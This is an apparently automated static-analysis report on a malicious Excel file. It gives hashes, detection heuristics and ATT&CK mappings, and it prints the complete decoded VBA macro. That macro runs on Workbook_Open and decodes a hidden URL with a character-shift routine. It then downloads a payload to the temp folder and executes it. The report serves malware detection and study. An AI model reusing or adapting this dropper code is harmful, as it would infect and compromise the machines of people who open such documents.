Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 76e4a4c640432b2a…

MALICIOUS

Office (OLE)

68.0 KB Created: 2018-12-06 20:43:11 Authoring application: Microsoft Excel First seen: 2019-04-18
MD5: 29775e021372f04501151fbb675ec0cf SHA-1: 3b9dc9cb77b08e84f2f5bd959068e8bbb93462f0 SHA-256: 76e4a4c640432b2abb5785ecb488f7e706fc4669f95d4545400b57eaf2ce53a8
236 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' indicates that the VBA macros within this Excel file are designed to download a file from the internet and execute it. The Workbook_Open macro is automatically executed upon opening the document, further supporting its role as a downloader. The ClamAV detection also confirms its malicious nature as a downloader.

Heuristics 7

  • ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    GUKCZTEZUCHYYRLYKQXOWPRFYXUECNYKNLRTBLMQVSIPYJSPKZFFEHYVZOUUDFGCOVSKBCMBDKPZGZTHSRFWFXZNZGDLK = HSRFWFXZNZGDLKVHSPNSBJTNREBPQHRTXSINNMPBEHWDDLMOKWEBSJKUJLSQIOCCPTZNXNYIUIOLTLWO.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set HSRFWFXZNZGDLKVHSPNSBJTNREBPQHRTXSINNMPBEHWDDLMOKWEBSJKUJLSQIOCCPTZNXNYIUIOLTLWO = CreateObject("microsoft.xmlhttp")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    XSINNMPBEHWDDLMOKWEBSJKUJLSQIOCCPTZNXNYIUIOLTLWOUWVBJQUVZMJXYPSCGBQOONQJMPXLLTOPLXMCBRMVRMT = Environ("tmp") + RGTMUWXTGUKCZTEZUCHYYRLYKQXOWPRFYXUECNYKNLRTBLMQVSIPYJSPKZFFEHYVZOUUDFGCOVSKBCMBDKPZGZTHSRF("h\ObSNcQV:q„q")

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5481 bytes
SHA-256: be2c179e2a4d4b44b384911c18a26cd41047c0838b191af22ae13759be374dc8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub book()
'
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
    Function RGTMUWXTGUKCZTEZUCHYYRLYKQXOWPRFYXUECNYKNLRTBLMQVSIPYJSPKZFFEHYVZOUUDFGCOVSKBCMBDKPZGZTHSRF(ByVal s As String)
            Dim YQQJKXCIVGVHQWQPMVTFWDFDJRSDEIULZHXBKOJYWWVYRNRGTMUWXTGUKCZTEZUCHYYRLYKQXOWPRFYXUECNY As String
Dim KNLRTBLMQVSIPYJSPKZFFEHYVZOUUDFGCOVSKBCMBDKPZGZTHSRFWFXZNZGDLKVHSPNSBJTNREBPQHRTX As String
Dim KXCIVGVHQWQPMVTFWDFDJRSDEIULZHXBKOJYWWVYRNRGTMUWXTGUKCZTEZUCHYYRLYKQXOWPRFYXUECNYKNLRTBLMQVSIPYJSPK As Integer
Dim SINNMPBEHWDDLMOKWEBSJKUJLSQIOCCPTZNXNYIUIOLTLWOUWVBJQUVZMJXYPSCGBQOONQJMPXLLTOPLXMCBRMVRMTYQQJ As Integer
SINNMPBEHWDDLMOKWEBSJKUJLSQIOCCPTZNXNYIUIOLTLWOUWVBJQUVZMJXYPSCGBQOONQJMPXLLTOPLXMCBRMVRMTYQQJ = 12
        For KXCIVGVHQWQPMVTFWDFDJRSDEIULZHXBKOJYWWVYRNRGTMUWXTGUKCZTEZUCHYYRLYKQXOWPRFYXUECNYKNLRTBLMQVSIPYJSPK = 1 To Len(s)
            YQQJKXCIVGVHQWQPMVTFWDFDJRSDEIULZHXBKOJYWWVYRNRGTMUWXTGUKCZTEZUCHYYRLYKQXOWPRFYXUECNY = Mid(s, KXCIVGVHQWQPMVTFWDFDJRSDEIULZHXBKOJYWWVYRNRGTMUWXTGUKCZTEZUCHYYRLYKQXOWPRFYXUECNYKNLRTBLMQVSIPYJSPK, 1)
            YQQJKXCIVGVHQWQPMVTFWDFDJRSDEIULZHXBKOJYWWVYRNRGTMUWXTGUKCZTEZUCHYYRLYKQXOWPRFYXUECNY = Chr(Asc(YQQJKXCIVGVHQWQPMVTFWDFDJRSDEIULZHXBKOJYWWVYRNRGTMUWXTGUKCZTEZUCHYYRLYKQXOWPRFYXUECNY) - SINNMPBEHWDDLMOKWEBSJKUJLSQIOCCPTZNXNYIUIOLTLWOUWVBJQUVZMJXYPSCGBQOONQJMPXLLTOPLXMCBRMVRMTYQQJ)
            KNLRTBLMQVSIPYJSPKZFFEHYVZOUUDFGCOVSKBCMBDKPZGZTHSRFWFXZNZGDLKVHSPNSBJTNREBPQHRTX = KNLRTBLMQVSIPYJSPKZFFEHYVZOUUDFGCOVSKBCMBDKPZGZTHSRFWFXZNZGDLKVHSPNSBJTNREBPQHRTX & YQQJKXCIVGVHQWQPMVTFWDFDJRSDEIULZHXBKOJYWWVYRNRGTMUWXTGUKCZTEZUCHYYRLYKQXOWPRFYXUECNY
        Next
        RGTMUWXTGUKCZTEZUCHYYRLYKQXOWPRFYXUECNYKNLRTBLMQVSIPYJSPKZFFEHYVZOUUDFGCOVSKBCMBDKPZGZTHSRF = KNLRTBLMQVSIPYJSPKZFFEHYVZOUUDFGCOVSKBCMBDKPZGZTHSRFWFXZNZGDLKVHSPNSBJTNREBPQHRTX
    End Function

Private Sub Workbook_Open()
Dim HSRFWFXZNZGDLKVHSPNSBJTNREBPQHRTXSINNMPBEHWDDLMOKWEBSJKUJLSQIOCCPTZNXNYIUIOLTLWO
Set HSRFWFXZNZGDLKVHSPNSBJTNREBPQHRTXSINNMPBEHWDDLMOKWEBSJKUJLSQIOCCPTZNXNYIUIOLTLWO = CreateObject("microsoft.xmlhttp")
Dim XSINNMPBEHWDDLMOKWEBSJKUJLSQIOCCPTZNXNYIUIOLTLWOUWVBJQUVZMJXYPSCGBQOONQJMPXLLTOPLXMCBRMVRMT
Dim YYRLYKQXOWPRFYXUECNYKNLRTBLMQVSIPYJSPKZFFEHYVZOUUDFGCOVSKBCMBDKPZGZTHSRFWFXZNZGDLKVHSPNSBJTNREB
Set YYRLYKQXOWPRFYXUECNYKNLRTBLMQVSIPYJSPKZFFEHYVZOUUDFGCOVSKBCMBDKPZGZTHSRFWFXZNZGDLKVHSPNSBJTNREB = CreateObject("Shell.Application")

XSINNMPBEHWDDLMOKWEBSJKUJLSQIOCCPTZNXNYIUIOLTLWOUWVBJQUVZMJXYPSCGBQOONQJMPXLLTOPLXMCBRMVRMT = Environ("tmp") + RGTMUWXTGUKCZTEZUCHYYRLYKQXOWPRFYXUECNYKNLRTBLMQVSIPYJSPKZFFEHYVZOUUDFGCOVSKBCMBDKPZGZTHSRF("h\ObSNcQV:q„q")
HSRFWFXZNZGDLKVHSPNSBJTNREBPQHRTXSINNMPBEHWDDLMOKWEBSJKUJLSQIOCCPTZNXNYIUIOLTLWO.Open "GET", RGTMUWXTGUKCZTEZUCHYYRLYKQXOWPRFYXUECNYKNLRTBLMQVSIPYJSPKZFFEHYVZOUUDFGCOVSKBCMBDKPZGZTHSRF("t€€|F;;‚u ƒm‚ |:o{y;ƒm~;ƒuzq|~q  :q„q"), False
HSRFWFXZNZGDLKVHSPNSBJTNREBPQHRTXSINNMPBEHWDDLMOKWEBSJKUJLSQIOCCPTZNXNYIUIOLTLWO.send
GUKCZTEZUCHYYRLYKQXOWPRFYXUECNYKNLRTBLMQVSIPYJSPKZFFEHYVZOUUDFGCOVSKBCMBDKPZGZTHSRFWFXZNZGDLK = HSRFWFXZNZGDLKVHSPNSBJTNREBPQHRTXSINNMPBEHWDDLMOKWEBSJKUJLSQIOCCPTZNXNYIUIOLTLWO.responseBody
If HSRFWFXZNZGDLKVHSPNSBJTNREBPQHRTXSINNMPBEHWDDLMOKWEBSJKUJLSQIOCCPTZNXNYIUIOLTLWO.Status = 200 Then
Set QJMPXLLTOPLXMCBRMVRMTYQQJKXCIVGVHQWQPMVTFWDFDJRSDEIULZHXBKOJYWWVYRNRGTMUWXTGUKCZTEZUCHY = CreateObject("adodb.stream")
QJMPXLLTOPLXMCBRMVRMTYQQJKXCIVGVHQWQPMVTFWDFDJRSDEIULZHXBKOJYWWVYRNRGTMUWXTGUKCZTEZUCHY.Open
QJMPXLLTOPLXMCBRMVRMTYQQJKXCIVGVHQWQPMVTFWDFDJRSDEIULZHXBKOJYWWVYRNRGTMUWXTGUKCZTEZUCHY.Type = 1
QJMPXLLTOPLXMCBRMVRMTYQQJKXCIVGVHQWQPMVTFWDFDJRSDEIULZHXBKOJYWWVYRNRGTMUWXTGUKCZTEZUCHY.Write GUKCZTEZUCHYYRLYKQXOWPRFYXUECNYKNLRTBLMQVSIPYJSPKZFFEHYVZOUUDFGCOVSKBCMBDKPZGZTHSRFWFXZNZGDLK
QJMPXLLTOPLXMCBRMVRMTYQQJKXCIVGVHQWQPMVTFWDFDJRSDEIULZHXBKOJYWWVYRNRGTMUWXTGUKCZTEZUCHY.SaveToFile XSINNMPBEHWDDLMOKWEBSJKUJLSQIOCCPTZNXNYIUIOLTLWOUWVBJQUVZMJXYPSCGBQOONQJMPXLLTOPLXMCBRMVRMT, 2
QJMPXLLTOPLXMCBRMVRMTYQQJKXCIVGVHQWQPMVTFWDFDJRSDEIULZHXBKOJYWWVYRNRGTMUWXTGUKCZTEZUCHY.Close
End If
YYRLYKQXOWPRFYXUECNYKNLRTBLMQVSIPYJSPKZFFEHYVZOUUDFGCOVSKBCMBDKPZGZTHSRFWFXZNZGDLKVHSPNSBJTNREB.Open (XSINNMPBEHWDDLMOKWEBSJKUJLSQIOCCPTZNXNYIUIOLTLWOUWVBJQUVZMJXYPSCGBQOONQJMPXLLTOPLXMCBRMVRMT)


End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.